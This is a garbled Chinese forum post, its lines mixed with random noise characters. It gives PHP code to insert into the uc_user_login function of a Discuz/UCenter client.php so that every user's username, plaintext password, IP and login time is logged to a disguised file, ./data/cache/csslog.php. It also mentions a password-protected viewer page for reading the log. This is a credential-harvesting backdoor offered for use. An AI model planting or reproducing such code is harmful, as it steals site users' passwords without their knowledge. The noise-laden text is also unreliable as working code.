修改uc_client目录下的client.php 在3 A* `1 c9 ]; w, O8 }
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
+ q0 ?2 g4 b" u5 {( g! H下加入如上代码,在网站./data/cache/目录下自动生成csslog.php9 G' ]" J* g5 ~5 O4 F
你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw
) F5 E4 b; P* j; ~! Z9 Mif(getenv('HTTP_CLIENT_IP')) {
+ k( E8 `% }' d3 ~5 r2 k4 n, F$onlineip = getenv('HTTP_CLIENT_IP');
$ M) j w& S U, |* ]/ G/ m% P} elseif(getenv('HTTP_X_FORWARDED_FOR')) { - t. b6 O! P; p* @( V
$onlineip = getenv('HTTP_X_FORWARDED_FOR');2 C8 z- B( c. X" ^; H
} elseif(getenv('REMOTE_ADDR')) {
H# I+ C8 G/ ?7 C4 O; B$onlineip = getenv('REMOTE_ADDR');
; o8 \9 ~7 p' o9 C, N D8 P} else { ! _- P. E" ~; d) K0 U: y
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];6 V# h! D4 k# d' i/ M+ e+ C
}
4 M: T' v: p, K' }# y8 _' ~% H $showtime=date("Y-m-d H:i:s");
" O; u' h' I/ G$ `3 k $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";
. R# z9 m$ @- T& o! L8 z $handle=fopen('./data/cache/csslog.php','a+');. f" b3 ]4 s q3 B! {4 o
$write=fwrite($handle,$record); |